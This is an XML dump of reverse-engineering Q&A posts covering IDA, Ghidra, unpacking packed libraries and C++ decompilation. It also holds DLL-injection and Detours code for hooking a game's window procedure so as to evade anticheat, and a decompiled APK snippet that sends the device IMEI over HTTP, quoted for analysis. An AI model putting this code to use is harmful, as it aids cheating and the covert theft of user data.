  <row Id="25358" PostTypeId="1" CreationDate="2020-06-20T17:18:00.883" Score="2" ViewCount="3068" Body="&lt;p&gt;I'm using IDA Pro and have identified a function that takes an std::string as an argument.&lt;/p&gt;&#xA;&lt;p&gt;However when I click on the function and &amp;quot;Set Item Type&amp;quot;, entering its definition:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;std::__ndk1::basic_string&amp;lt;char,std::__ndk1::char_traits&amp;lt;char&amp;gt;,std::__ndk1::allocator&amp;lt;char&amp;gt;&amp;gt; funcname(const std::__ndk1::basic_string&amp;lt;char,std::__ndk1::char_traits&amp;lt;char&amp;gt;,std::__ndk1::allocator&amp;lt;char&amp;gt;&amp;gt;&amp;amp; foo)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I get a syntax error:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Syntax error near: std::__ndk1::basic_string&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However there are other variables with this very type that IDA is able to use. Why is it failing when I try to set it?&lt;/p&gt;&#xA;" OwnerUserId="2884" LastActivityDate="2020-06-21T13:00:25.887" Title="How to set the type of a variable or function to an std::string?" Tags="|ida|binary-analysis|c++|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25359" PostTypeId="1" CreationDate="2020-06-20T21:43:14.700" Score="2" ViewCount="242" Body="&lt;p&gt;I have toshiba portege x30-f laptop with Fn keys not working under linux.&lt;/p&gt;&#xA;&lt;p&gt;I've read some articles about usb drivers reverse engineering, but the keyboard connected not via usb. As I can understand it connected through i8042 ps/2&lt;/p&gt;&#xA;&lt;p&gt;I've tried to capture /dev/input/event but there are only usual keys, Fn keys don't generate any output. I've checked every /dev/input/event and /dev/hidraw for any output on Fn keys press and none of them gived me any events or signals. So linux don't know anything about this keys, I suppose the only way to know what is happening - load into windows.&lt;/p&gt;&#xA;&lt;p&gt;I can run Windows natively or in virtual box, but I have no guess how to capture signals from keyboard to windows and vice versa. Can anyone give me advice on this?&lt;/p&gt;&#xA;" OwnerUserId="33615" LastActivityDate="2020-07-21T13:00:40.060" Title="Linux keyboard driver windows reverse engineering" Tags="|linux|kernel|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25360" PostTypeId="1" CreationDate="2020-06-21T03:16:46.643" Score="2" ViewCount="247" Body="&lt;p&gt;I'm dealing with a custom-upx packed library that I'm trying to unpack. System is macOS.&lt;/p&gt;&#xA;&lt;p&gt;Given it's a library/plugin, it doesn't have a standalone entrypoint. I ran it through a disassembler but wasn't able to find obvious hints where the OEP might be. On top of that, it also uses anti-debugging measurements through ptrace to make it even harder.&lt;/p&gt;&#xA;&lt;p&gt;Next I wrote my own loader for it including callbacks it wants, and managed to get it to load, then used lldb save-core to dump the entire memory (of my loader+lib) into a 3GB-ish file.&lt;/p&gt;&#xA;&lt;p&gt;Here is where I am stuck: Memory analysis and forensics doesn't look like its popular on mac with most tools outdated and no longer working. I don't know how to approach this going forward and if it's even possible to restore the unpacked variant from this dump.&lt;/p&gt;&#xA;" OwnerUserId="33616" LastActivityDate="2022-03-13T15:01:10.113" Title="How can you dump the unpacked version of a packed library/plugin from memory on macOS?" Tags="|memory-dump|upx|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25361" PostTypeId="2" ParentId="25353" CreationDate="2020-06-21T07:38:02.593" Score="2" Body="&lt;p&gt;In order to run a script in Ghidra you can run the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;analyzeHeadless &amp;lt;project_location&amp;gt; &amp;lt;project_name&amp;gt; -import &amp;lt;path/to/file&amp;gt; -scriptPath &amp;lt;path/to/scripts&amp;gt; -preScript &amp;lt;preScript_name&amp;gt; &amp;lt;preScript_params&amp;gt; -postScript &amp;lt;postScript_name&amp;gt; &amp;lt;postScript_params&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;code&gt;analyzeHeadless&lt;/code&gt; is the &lt;code&gt;Ghidra&lt;/code&gt; GUI-less executable script.&lt;/p&gt;&#xA;&lt;p&gt;You can specify postScript, preScript, or both of them.&lt;/p&gt;&#xA;&lt;p&gt;From the script itself, you can reference your program with &lt;code&gt;currentProgram&lt;/code&gt; variable.&lt;/p&gt;&#xA;" OwnerUserId="31278" LastEditorUserId="31278" LastEditDate="2020-06-21T09:38:15.040" LastActivityDate="2020-06-21T09:38:15.040" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25362" PostTypeId="2" ParentId="25360" CreationDate="2020-06-21T10:56:13.013" Score="1" Body="&lt;p&gt;Basically you need to find the Mach-O header of the module in memory and dump the segments referred by it.&lt;/p&gt;&#xA;&lt;p&gt;Here’s a tool which is not specifically for macOS, but should not be too difficult to modify since it already has the code to handle the Mach-O format:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/stefanesser/dumpdecrypted&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/stefanesser/dumpdecrypted&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-06-21T10:56:13.013" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25363" PostTypeId="2" ParentId="25359" CreationDate="2020-06-21T12:56:19.800" Score="1" Body="&lt;p&gt;AFAIK often on laptops the special keys are handled not by the OS but the embedded controller (EC), either completely without the OS involvement or via the ACPI interface.&#xA;So you might have to look at the ACPI tables and see if there are methods you can hook (not sure how it works in Linux).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-06-21T12:56:19.800" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25364" PostTypeId="2" ParentId="25358" CreationDate="2020-06-21T13:00:25.887" Score="1" Body="&lt;p&gt;IDA’s C parser does not handle some C++ syntax like namespaces. There are two options:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Rename the local type or struct to have no “wrong” symbols, you can use it in type declaration then&lt;/li&gt;&#xA;&lt;li&gt;Use “Convert to struct*” context menu command on the argument/variable. This bypasses the C parser and sets the type directly.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-06-21T13:00:25.887" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25367" PostTypeId="1" CreationDate="2020-06-22T01:34:46.697" Score="3" ViewCount="608" Body="&lt;p&gt;In C++ binaries, I find Qt methods like &lt;code&gt;??4QString@@QEAAAEAV0@AEBV0@@Z&lt;/code&gt; which demangle to&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public: class QString &amp;amp; __ptr64 __cdecl QString::operator=(class QString const &amp;amp; __ptr64) __ptr64&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;or in shorter form, &lt;code&gt;QString&amp;amp; QString::operator=(QString const&amp;amp;)&lt;/code&gt;. The return value does not appear to be used. What is the purpose of this &amp;quot;unary equals&amp;quot;, given that it does not seem to be a construct people write in the original code?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I found the source of my confusion. I'm perfectly award of the calling convention with &lt;code&gt;this&lt;/code&gt;, and what &lt;code&gt;operator=&lt;/code&gt; is supposed to do. It's common, in my experience, for people to indicate &lt;code&gt;this&lt;/code&gt; as a direct argument when reversing software. This is, for instance, what IDA does. It was what I was intending to do as well. So, it &lt;em&gt;would&lt;/em&gt; have been considered unary, as I wrote it only take on argument (&lt;code&gt;this&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;p&gt;It turns out that IDA somehow incorrectly assigned the type, and gave it the signature &lt;code&gt;__int64 __fastcall QString__operator_(_QWORD)&lt;/code&gt; instead of &lt;code&gt;QString* __fastcall QString__operator_(QString *, QString const *)&lt;/code&gt;. I don't know what caused this. The output from [demangler.com], which I put in the first half of my post, did not include the implicit &lt;code&gt;this&lt;/code&gt;, contrary to my expectations.&lt;/p&gt;&#xA;" OwnerUserId="33625" LastEditorUserId="33625" LastEditDate="2020-06-22T17:38:18.023" LastActivityDate="2020-06-22T17:38:18.023" Title="C++ Unary equals (unary operator=)" Tags="|binary-analysis|c++|qt|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25368" PostTypeId="2" ParentId="25367" CreationDate="2020-06-22T07:28:30.567" Score="6" Body="&lt;p&gt;It is rather &lt;code&gt;C++&lt;/code&gt; question, but nonetheless:&lt;/p&gt;&#xA;&lt;p&gt;what you see is an assignment operator for the class &lt;code&gt;QString&lt;/code&gt;. It enables you to write things like &lt;code&gt;a = b&lt;/code&gt;, where &lt;code&gt;a, b&lt;/code&gt; are of &lt;code&gt;QString&lt;/code&gt; type.&lt;/p&gt;&#xA;&lt;p&gt;The reason why it returns value is to enable you to write: &lt;code&gt;a = b = c&lt;/code&gt; instead of &lt;code&gt;a = c&lt;/code&gt; and &lt;code&gt;b = c&lt;/code&gt; and you may see this pattern in case of other operators overloading (see &lt;a href=&quot;https://stackoverflow.com/questions/4421706/what-are-the-basic-rules-and-idioms-for-operator-overloading&quot;&gt;question&lt;/a&gt; for instance).&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;C++&lt;/code&gt; standard demands the compiler to generate the &lt;code&gt;=&lt;/code&gt; operator if it wasn't written by a programmer, so you can expect it to be present even if not used directly.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastActivityDate="2020-06-22T07:28:30.567" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25369" PostTypeId="2" ParentId="25367" CreationDate="2020-06-22T14:23:23.390" Score="1" Body="&lt;p&gt;The default assignment operator for primitives returns a value, and the standard convention for operator overloading is to not deviate from the behavior of the operator you are overloading. This is why it's good practice to continue to return the assigned reference from the assignment overload operator.&lt;/p&gt;&#xA;&lt;p&gt;Because of this behavior, there's a well-used idiom in C (and to C++ by extension) regarding checking the return value of a function upon assignment.&lt;/p&gt;&#xA;&lt;p&gt;For example, consider an invocation of realloc:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// int *ptr;&#xA;// size_t size;&#xA;&#xA;size *= 2;&#xA;int *nptr = realloc(ptr, size);&#xA;if (nptr)&#xA;    ptr = nptr;&#xA;else&#xA;    return ERROR;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;We can simplify the code by moving assignment expressions inside the if condition. Here, we take advantage of two assignment expressions, &lt;code&gt;size *= 2&lt;/code&gt;, which returns the value of the variable after doubling, and the assignment to &lt;code&gt;nptr&lt;/code&gt;, which will be &lt;code&gt;NULL&lt;/code&gt; (&lt;code&gt;0&lt;/code&gt;) on failure.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// int *ptr;&#xA;// size_t size;&#xA;&#xA;int *nptr;&#xA;if (nptr = realloc(ptr, size *= 2))&#xA;    ptr = nptr;&#xA;else&#xA;    return ERROR;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33632" LastActivityDate="2020-06-22T14:23:23.390" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25370" PostTypeId="1" AcceptedAnswerId="25383" CreationDate="2020-06-22T16:43:29.763" Score="0" ViewCount="44" Body="&lt;p&gt;For some reason i'm not aware of ( some heap allocation limit ) while allocating memory for some classes, an application ( win64 ) raises this exception:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;DumpedMini Result[0] Exception Code[EXCEPTION_ACCESS_VIOLATION]&#xA;Fatal: Man.exe caused an EXCEPTION_ACCESS_VIOLATION(ThdId:10172) in module WApi.dll WApi::COdbcCommand::COdbcCommand(), Source(Wapicodbc.inl:341)&#xA;7FF9ED373847: The instruction at 0x7FF9ED373847 referenced memory at 0xFFFFFFFFFFFFFFFF. The memory could not be read (exc.code c0000005, tid 12420)&#xA;    :00007FF9ED373847 movaps  xmmword ptr [rcx+200h], xmm6&#xA;    00007FF9ED373847    ntdll.dll   ntdll_RtlCaptureStackContext+1E457&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I don't have any access to application source , i debug it in ida , also there is similar application that does has same logic (allocating exactly same classes, but it doesn't throw error's and allocating up to 1gb in memory, while this app is stuck on 109k)&lt;/p&gt;&#xA;&lt;p&gt;What tools or techniques i can use , to analyze what is behind the memory limiting , or what problem it could be ?&lt;/p&gt;&#xA;" OwnerUserId="14279" LastEditorUserId="245" LastEditDate="2020-06-24T11:34:15.880" LastActivityDate="2020-06-24T11:34:15.880" Title="Windows PE64 throw error while allocating heap for unknown reason?" Tags="|c++|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25372" PostTypeId="1" AcceptedAnswerId="25403" CreationDate="2020-06-23T02:52:42.603" Score="5" ViewCount="1166" Body="&lt;p&gt;Apologies if this is a duplicate. Don't know what words to search for as that's what the question is about.&lt;/p&gt;&#xA;&lt;p&gt;I'm relatively new to reverse engineering binaries and while using Ghidra I've noticed that it frequently decompiles the binary to produce functions along these lines:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;void FUN_803adb50(void)&#xA;{&#xA;  int in_r11;&#xA;  undefined4 unaff_r26;&#xA;  undefined4 unaff_r27;&#xA;  undefined4 unaff_r28;&#xA;  undefined4 unaff_r29;&#xA;  undefined4 unaff_r30;&#xA;  undefined4 unaff_r31;&#xA;  &#xA;  *(undefined4 *)(in_r11 + -0x18) = unaff_r26;&#xA;  *(undefined4 *)(in_r11 + -0x14) = unaff_r27;&#xA;  *(undefined4 *)(in_r11 + -0x10) = unaff_r28;&#xA;  *(undefined4 *)(in_r11 + -0xc) = unaff_r29;&#xA;  *(undefined4 *)(in_r11 + -8) = unaff_r30;&#xA;  *(undefined4 *)(in_r11 + -4) = unaff_r31;&#xA;  return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Which is created from the following disassembly:&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;pre&gt;&lt;code&gt;                     *                          FUNCTION                          *&#xA;                     **************************************************************&#xA;                     void __stdcall FUN_803adb50(void)&#xA;                       assume GQR0 = 0x0&#xA;                       assume GQR1 = 0x0&#xA;                       assume GQR2 = 0x40004&#xA;                       assume GQR3 = 0x50005&#xA;                       assume GQR4 = 0x60006&#xA;                       assume GQR5 = 0x70007&#xA;                       assume GQR6 = 0x0&#xA;                       assume GQR7 = 0x0&#xA;                       assume r13 = 0x805dd0e0&#xA;                       assume r2 = 0x805e6700&#xA;     void              &amp;lt;VOID&amp;gt;         &amp;lt;RETURN&amp;gt;&#xA;                     FUN_803adb50&#xA;803adb50 93 4b ff e8     stw        r26,-0x18(r11)&#xA;                     **************************************************************&#xA;                     *                          FUNCTION                          *&#xA;                     **************************************************************&#xA;                     undefined GetVCTypeSomething()&#xA;                       assume GQR0 = 0x0&#xA;                       assume GQR1 = 0x0&#xA;                       assume GQR2 = 0x40004&#xA;                       assume GQR3 = 0x50005&#xA;                       assume GQR4 = 0x60006&#xA;                       assume GQR5 = 0x70007&#xA;                       assume GQR6 = 0x0&#xA;                       assume GQR7 = 0x0&#xA;                       assume r13 = 0x805dd0e0&#xA;                       assume r2 = 0x805e6700&#xA;     undefined         r3:1           &amp;lt;RETURN&amp;gt;&#xA;                     GetVCTypeSomething&#xA;803adb54 93 6b ff ec     stw        r27,-0x14(r11)&#xA;803adb58 93 8b ff f0     stw        r28,-0x10(r11)&#xA;803adb5c 93 ab ff f4     stw        r29,-0xc(r11)&#xA;803adb60 93 cb ff f8     stw        r30,-0x8(r11)&#xA;803adb64 93 eb ff fc     stw        r31,-0x4(r11)&#xA;803adb68 4e 80 00 20     blr&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It happens frequently enough that it must be some kind of common pattern, always with many variables of an undefined type with the &amp;quot;unaff_&amp;quot; prefix which are assigned to an equal number of variables with the &amp;quot;in_&amp;quot; prefix. &lt;em&gt;They also commonly appear at the beginning of the caller functions.&lt;/em&gt; My instinct is that it's something related to a class structure (I'm unsure of whether or not the original binary was C or C++) but given that I've had no luck with my searches, I figured I'd ask here.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;What (if any) is the common code pattern that would produce such decompiled code?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Bonus points if there's a way to edit the function definition to produce something more legible.&lt;/p&gt;&#xA;" OwnerUserId="33639" LastEditorUserId="33639" LastEditDate="2020-06-26T17:20:37.823" LastActivityDate="2020-06-26T17:55:17.660" Title="What kind of function creates this code pattern?" Tags="|binary-analysis|decompilation|ghidra|" AnswerCount="2" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="25373" PostTypeId="1" AcceptedAnswerId="25381" CreationDate="2020-06-23T04:08:32.420" Score="0" ViewCount="57" Body="&lt;p&gt;I read my process memory with &lt;strong&gt;WinHex&lt;/strong&gt; in order to remove some sensitive text which may running my app into crack/hack.(license data).&lt;/p&gt;&#xA;&lt;p&gt;Now , when i open the process Entire memory with in &lt;strong&gt;WinHex&lt;/strong&gt; , i can easily search and find those sensitive data , but when i open each sub-module memory one by one , i can not find them !!&lt;/p&gt;&#xA;&lt;p&gt;How this is possible ?&lt;/p&gt;&#xA;&lt;p&gt;Is there any floating memory in each process which does not belong to process itself and it's sub-modules ?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Update :&lt;/strong&gt;&#xA;The strange thing is each time this data appear on a completely different offset !&lt;/p&gt;&#xA;&lt;p&gt;I appreciate for your answer.&#xA;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="20562" LastEditorUserId="20562" LastEditDate="2020-06-23T05:48:23.137" LastActivityDate="2020-06-24T07:44:08.947" Title="WinHex : There's a data that does not belong to any module" Tags="|memory|dumping|memory-dump|process|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25374" PostTypeId="1" AcceptedAnswerId="25380" CreationDate="2020-06-23T07:07:25.520" Score="0" ViewCount="651" Body="&lt;p&gt;i am trying to hook wndproc in an game, to do that i am injecting a dll into their memory, my problem is i don't wanna do a Global Hook to the wndproc, i want to get a pointer to his procedure to do thing more cleans and stealth. (I am still learning so i am right now a noob into assembly, if you want you can recommend me a good tutorial to learn assembly etc).&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;PS: Sorry for my english.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;This is what i mean for Global Hook:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;//Global/Universal Hook example.&#xA;#include &amp;lt;windows.h&amp;gt;&#xA;&#xA;static bool bSetup = false;&#xA;WNDPROC oWndProc;&#xA;&#xA;LRESULT WndProc(const HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)&#xA;{&#xA;    //Process messages&#xA;    &#xA;    return CallWindowProc(WindowProc, hWnd, msg, wParam, lParam);&#xA;}&#xA;&#xA;void lpMain()//Our dll start here, we do our thing in this function.&#xA;{&#xA;    if (!bSetup)&#xA;    {&#xA;        WindowProc = (WNDPROC)SetWindowLongPtr(HWND, GWLP_WNDPROC, (LRESULT)WndProc);//our Global Hooked Procedure.&#xA;    }&#xA;}&#xA;&#xA;BOOL APIENTRY DllMain( HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)&#xA;{&#xA;    switch (ul_reason_for_call)&#xA;    {&#xA;    case DLL_PROCESS_ATTACH:&#xA;        CreateThread(nullptr, 0, (LPTHREAD_START_ROUTINE)lpMain, nullptr, 0, 0);//The trhead that call our function and maintain it alive.&#xA;        break;&#xA;    }&#xA;    return TRUE;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Instead of doing it by this way i want to hook it directly by the address/pointer of the target process also i want to avoid the CallWindowProc API call if it possible, i have been searching for the pointer with IDA Pro, x32dbg and Cheat engine but i haven't found it. How i can found a pointer to this? Thank you guys.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;I am injecting a dll to the process to trying to do this.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Goal-Objective: &lt;strong&gt;The goal is hook the game procedure to use it instead of creating a global hook, also trying to avoid moost WinApi calls to be stealthy, cause anticheats can hook some API Functions and checks if they have been called or edited.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Example of what i am trying to do (Detour hooking):&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;//This is that i want to do.&#xA;#include &amp;lt;windows.h&amp;gt;&#xA;#include &amp;quot;detour.h&amp;quot;//Microsoft detours header for hooking.&#xA;#pragma comment(lib, &amp;quot;detours.lib&amp;quot;);//Microsoft detours library.&#xA;&#xA;static bool bSetup = false;&#xA;HWND GameHwnd = (HWND)((uintptr_t)GetModuleHandle(nullptr) + 0xA93158);&#xA;&#xA;typedef LRESULT(__stdcall* wndProc) (HWND, UINT, WPARAM, lParam);//our prototype.&#xA;wndProc oWindowProc = nullptr;//our function return.&#xA;&#xA;//offsets, pointers, addresses...&#xA;uintptr_t ADDRESS_WNDPROC = (uintptr_t)GetModuleHandle(nullptr) + 0x283C3A;&#xA;&#xA;LRESULT HookedWndProc(const HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)&#xA;{&#xA;    //Process messages&#xA;    &#xA;    return CallWindowProc(oWindowProc, hWnd, msg, wParam, lParam);&#xA;}&#xA;&#xA;void lpMain()//Our dll start here, we do our thing in this function.&#xA;{&#xA;    if (!bSetup)//Hook Procedure and other stuff.&#xA;    {&#xA;        DetourTransactionBegin();&#xA;        DetourUpdateThread(GetCurrentThread());&#xA;        &#xA;        DetourAttach(&amp;amp;(LPVOID&amp;amp;)ADDRESS_WNDPROC, &amp;amp;HookedWndProc);&#xA;        &#xA;        DetourTransactionCommit();&#xA;        &#xA;        oWindowProc = (WNDPROC)ADDRESS_WNDPROC;&#xA;        &#xA;        or&#xA;        &#xA;        //oWindowProc = (WNDPROC)SetWindowLongPtr(GameHwnd, GWLP_WNDPROC, (LRESULT)HookedWndProc);//our Global Hooked Procedure.&#xA;        &#xA;        bSetup = true;&#xA;    }&#xA;    &#xA;    //do our things.&#xA;}&#xA;&#xA;BOOL APIENTRY DllMain( HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)&#xA;{&#xA;    switch (ul_reason_for_call)&#xA;    {&#xA;    case DLL_PROCESS_ATTACH:&#xA;        CreateThread(nullptr, 0, (LPTHREAD_START_ROUTINE)lpMain, nullptr, 0, 0);//The trhead that call our function and maintain it alive.&#xA;        break;&#xA;    }&#xA;    return TRUE;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33642" LastEditorUserId="33642" LastEditDate="2020-06-23T22:23:35.773" LastActivityDate="2020-06-24T07:37:59.143" Title="How i can grab a pointer or hook the process procedure without creating a global hook" Tags="|c++|address|pointer|" AnswerCount="1" CommentCount="8" ClosedDate="2020-07-03T08:02:51.103" ContentLicense="CC BY-SA 4.0" />
  <row Id="25376" PostTypeId="2" ParentId="25372" CreationDate="2020-06-23T17:05:22.633" Score="3" Body="&lt;p&gt;Regarding &lt;em&gt;unaff_&lt;/em&gt; and &lt;em&gt;in_&lt;/em&gt; prefixes (&lt;a href=&quot;https://ghidra.re/courses/GhidraClass/Advanced/improvingDisassemblyAndDecompilation.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;source&lt;/a&gt;):&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;in&lt;/strong&gt; or &lt;strong&gt;unaff&lt;/strong&gt; : this typically indicates that a register is read&#xA;before it is written (and it does not contain a parameter&#xA;passed to the function)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So, if you encounter them in decompilator, it means that their values are used before they are initialised in the function (they contain the values assigned earlier, in one of the previous functions). To fix that, you can add these registers as arguments to this function (right click -&amp;gt; &lt;code&gt;edit function signature&lt;/code&gt;). You can see more details &lt;a href=&quot;https://www.youtube.com/watch?v=9Fo99X2YNKA&amp;amp;list=PLXqdTlog3E_8Ucym6klVOY9RmjdIy3cbm&amp;amp;index=26&amp;amp;t=0s&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://www.youtube.com/watch?v=aWIcd2BRItc&amp;amp;list=PLXqdTlog3E_8Ucym6klVOY9RmjdIy3cbm&amp;amp;index=27&amp;amp;t=0s&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;As for the pattern you are asking for, the &lt;code&gt;r11&lt;/code&gt; register in ARM (I suppose this is the architecture of your binary) is used for accessing local function variables placed on the stack. So, it seems that your function (probably 6 - argument constructor) initialises some class (having 6 members), which was a type of some local variable (declared in caller function) in the original code.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastEditorUserId="27930" LastEditDate="2020-06-23T17:13:58.830" LastActivityDate="2020-06-23T17:13:58.830" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25377" PostTypeId="1" CreationDate="2020-06-24T03:17:41.707" Score="0" ViewCount="220" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LXnpB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LXnpB.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I tried to unpack packed_dll, when the unpack stage done, i dumped unpacked_dll out and start to reverse. I pretty sure this is continuously function of that dll but this line show up. So what is this line and can i remove it for my static reverse stage ?&#xA;Thanks all&lt;/p&gt;&#xA;" OwnerUserId="25842" LastActivityDate="2020-06-24T07:21:44.727" Title="What is this line and how to remove it" Tags="|ida|x86|static-analysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25378" PostTypeId="1" CreationDate="2020-06-24T07:01:19.513" Score="0" ViewCount="61" Body="&lt;p&gt;i have a strange apk which I took a closer look at, among others with jadx-gui. It is a gaming app that requires an unusual amount of permissions according to the manifest file. I installed and played the game on a testphone. The requested permissions are not allowed for the game at all. Found a class in the code with the following suspicious method:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public void doInBackground()&#xA;{&#xA;  ...&#xA;  String deviceId = ((TelephonyManager) this.a.getSystemService(&amp;quot;phone&amp;quot;)).getDeviceId();&#xA;  ...&#xA;  a.add(new BasicNameValuePair(new String(&amp;quot;imei&amp;quot;), deviceId)); &#xA;  ...&#xA;  try {&#xA;        httpPost.setEntity(new UrlEncodedFormEntity(a));&#xA;      } catch (UnsupportedEncodingException e) {&#xA;  ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This method collects sensitive data and sends it via http.&#xA;I don't see that this class is called with this method. Searched for the name of the method, but found nothing. Is there a way to call this method without seeing it in the jadx-gui?&#xA;Otherwise I ask myself why this method was implemented if it is never used.&lt;/p&gt;&#xA;" OwnerUserId="33323" LastActivityDate="2020-07-24T09:07:55.777" Title="Call of a suspicious method cannot be found" Tags="|android|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25379" PostTypeId="2" ParentId="25377" CreationDate="2020-06-24T07:21:44.727" Score="2" Body="&lt;p&gt;The dashed line is added by IDA to denote code flow boundaries. For example, you can see another one after the unconditional &lt;code&gt;jmp&lt;/code&gt;, and there should be one after each &lt;code&gt;retn&lt;/code&gt; instruction. In graph view they correspond to the end of function graph nodes.&lt;/p&gt;&#xA;&lt;p&gt;The most probable cause for the one after call is that the called function has been detected as &lt;em&gt;non-returning&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;You can go inside the call and see if &amp;quot;Attributes: noreturn&amp;quot; is printed in the function header. If the function does, in fact, return, you can clear the flag by editing the function properties (&lt;kbd&gt;Alt-P&lt;/kbd&gt;).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-06-24T07:21:44.727" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25380" PostTypeId="2" ParentId="25374" CreationDate="2020-06-24T07:37:59.143" Score="0" Body="&lt;p&gt;The window procedure  is usually set up per window class via the call to &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/intl/registering-window-classes&quot; rel=&quot;nofollow noreferrer&quot;&gt;RegisterClassW&lt;/a&gt; or similar. While it can be changed later by &lt;code&gt;SetWindowLongPtr&lt;/code&gt;, in practice this is done quite rarely (AFAIK) so most likely the standard class procedure will be used. So:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Check calls to &lt;code&gt;RegisterClassW&lt;/code&gt;/&lt;code&gt;RegisterClassA&lt;/code&gt; and extract &lt;code&gt;lpfnWndProc&lt;/code&gt; from the class struct&lt;/li&gt;&#xA;&lt;li&gt;Hook the procedure and do what you need.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-06-24T07:37:59.143" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
